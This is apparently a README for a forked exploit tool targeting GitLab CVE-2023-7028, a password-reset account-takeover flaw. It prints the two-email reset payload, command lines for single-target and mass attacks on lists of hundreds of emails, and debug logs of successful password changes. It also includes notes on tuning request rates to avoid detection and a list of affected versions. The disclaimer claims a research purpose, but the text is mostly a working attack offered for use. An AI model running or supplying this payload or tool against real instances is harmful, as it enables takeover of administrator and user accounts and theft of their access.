CVE-2023-7028 | Account-Take-Over Gitlab

Disclamer

This code is a proof of concept of the vulnerability, I'm not pushing anyone to use it on gitlab instances they don't own. This tool has been developed for research and educational purposes only and I will not be held responsible for any use you may make of it.

Description

THIS IS FORK OF REPO https://github.com/Vozec/CVE-2023-7028. I am only improve exploit usage.

CVE-2023-7028 refers to an Account-Take-Over vulnerability that allows users to take control of the gitlab administrator account without user interaction.

The vulnerability lies in the management of emails when resetting passwords. An attacker can provide 2 emails and the reset code will be sent to both. It is therefore possible to provide the e-mail address of the target account as well as that of the attacker, and to reset the administrator password. (Gitlab points out that 2-factor authentication prevents this vulnerability from being exploited, since an attacker, even after resetting the password, will not be able to log in.)

This vulnerability was discovered by asterion04

Payload

Here's an example payload

user[email][][email protected]&user[email][][email protected]

POC

Method 1: Using temp email (single target)

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW

Method 2: Using evil email (single target)

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

Method 3: Using email list from file

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting full attacks on 806 target(s) with rate limit 10 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Attack completed: 800/806 requests sent, 750/806 passwords reset

Method 4: Skip mode - only send reset requests (faster)

python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l emails.txt --skip -rps 20

[DEBUG] Loaded 806 emails from emails.txt
[DEBUG] Starting reset requests on 806 target(s) with rate limit 20 rps
[DEBUG] Processing target 1/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
[DEBUG] Processing target 2/806: [email protected]
[DEBUG] Reset request sent successfully for [email protected]
...
[DEBUG] Reset requests completed: 800/806 successful

Help

$ python3 ./CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL (-t TARGET | -l EMAIL_LIST) [-e EVIL] [-p PASSWORD] [--skip] [-rps RATE_LIMIT]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Gitlab url
-t TARGET, --target TARGET
Target email
-l EMAIL_LIST, --list EMAIL_LIST
File with target emails list
-e EVIL, --evil EVIL Evil email
-p PASSWORD, --password PASSWORD
Password
--skip Skip password reset, only send reset requests
-rps RATE_LIMIT, --rate RATE_LIMIT
Requests per second (default: 10)

Usage Notes

Single target: Use -t parameter to attack single email address
Multiple targets: Use -l parameter to load email addresses from file (one per line)
Evil email: Without --evil option, script uses public temp-mail to find reset link (be careful during pentests)
Skip mode: Use --skip to only send reset requests without waiting for password reset (faster for mass attacks)
Rate limiting: Use -rps to control requests per second (default: 10). Higher values = faster but more detectable
Email list format: Plain text file with one email per line

Examples

# Single target with custom password
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -p MyCustomPass123

# Mass attack with slower rate limit
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt -rps 5

# Fast reconnaissance - only send reset requests
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -l targets.txt --skip -rps 50

Versions concerned

16.1 to 16.1.5
16.2 to 16.2.8
16.3 to 16.3.6
16.4 to 16.4.4
16.5 to 16.5.5
16.6 to 16.6.3
16.7 to 16.7.1

CVE-2023-7028

Most Popular